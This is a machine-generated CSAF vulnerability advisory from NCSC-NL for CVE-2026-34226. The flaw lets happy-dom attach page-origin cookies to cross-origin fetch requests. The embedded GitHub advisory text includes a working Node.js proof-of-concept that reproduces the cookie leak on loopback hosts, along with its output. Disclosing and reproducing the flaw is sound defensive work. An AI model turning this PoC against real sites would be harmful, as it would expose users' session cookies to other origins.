{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34226",
        "tracking": {
            "current_release_date": "2026-04-01T14:26:01.665930Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34226",
            "initial_release_date": "2026-03-28T07:39:27.233520Z",
            "revision_history": [
                {
                    "date": "2026-03-28T07:39:27.233520Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:39:30.146234Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-28T07:39:54.742162Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:39:57.537084Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T00:38:19.270171Z",
                    "number": "5",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-29T00:38:25.019800Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T16:13:00.884551Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)."
                },
                {
                    "date": "2026-03-29T16:13:07.792712Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T00:28:15.954938Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (2).| References created (7).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-03-31T00:28:26.457944Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-31T15:39:00.515803Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-31T15:39:03.236282Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T14:25:57.290034Z",
                    "number": "13",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-04-01T14:25:59.184072Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/2",
                                "product": {
                                    "name": "vers:rpm/2",
                                    "product_id": "CSAFPID-1508257",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:ansible_automation_platform:2"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Ansible Automation Platform 2"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/4",
                                "product": {
                                    "name": "vers:rpm/4",
                                    "product_id": "CSAFPID-1439328",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:openshift:4"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat OpenShift Container Platform 4"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5172460"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "gateway-rhel9"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Ansible Automation Platform 2"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5198604"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "ose-agent-installer-ui-rhel9"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat OpenShift Container Platform 4"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<20.8.9",
                                "product": {
                                    "name": "vers:unknown/<20.8.9",
                                    "product_id": "CSAFPID-5956285"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "happy-dom"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<20.8.9",
                                "product": {
                                    "name": "vers:unknown/<20.8.9",
                                    "product_id": "CSAFPID-5973198",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:capricorn86:happy_dom:*:*:*:*:*:nodejs:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "happy_dom"
                    }
                ],
                "category": "vendor",
                "name": "capricorn86"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34226",
            "cwe": {
                "id": "CWE-201",
                "name": "Insertion of Sensitive Information Into Sent Data"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34226.json"
                },
                {
                    "category": "description",
                    "text": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34226"
                },
                {
                    "category": "description",
                    "text": "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) => {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) => {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie && !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
                    "title": "github - https://api.github.com/advisories/GHSA-w4gp-fjgq-3q4g"
                },
                {
                    "category": "description",
                    "text": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.\nA flaw was found in Happy DOM, a JavaScript implementation of a web browser without its graphical user interface. This vulnerability allows for information disclosure where cookies from the current page's origin can be inadvertently attached to network requests made to a different destination. This occurs when the `fetch` function is used with the `credentials: \"include\"` option, potentially leading to the leakage of sensitive user data to unintended recipients.",
                    "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-34226.json"
                },
                {
                    "category": "other",
                    "text": "0.00032",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.2",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-201 (Insertion of Sensitive Information Into Sent Data), There is cwe data available from source Redhat, There is product data available from source Redhat",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5956285",
                    "CSAFPID-1439328",
                    "CSAFPID-1508257",
                    "CSAFPID-5172460",
                    "CSAFPID-5198604",
                    "CSAFPID-5973198"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34226.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34226"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-w4gp-fjgq-3q4g"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-34226.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/pull/2117"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-w4gp-fjgq-3q4g"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-34226"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-1439328",
                        "CSAFPID-1508257",
                        "CSAFPID-5172460",
                        "CSAFPID-5198604",
                        "CSAFPID-5956285",
                        "CSAFPID-5973198"
                    ]
                }
            ],
            "title": "CVE-2026-34226"
        }
    ]
}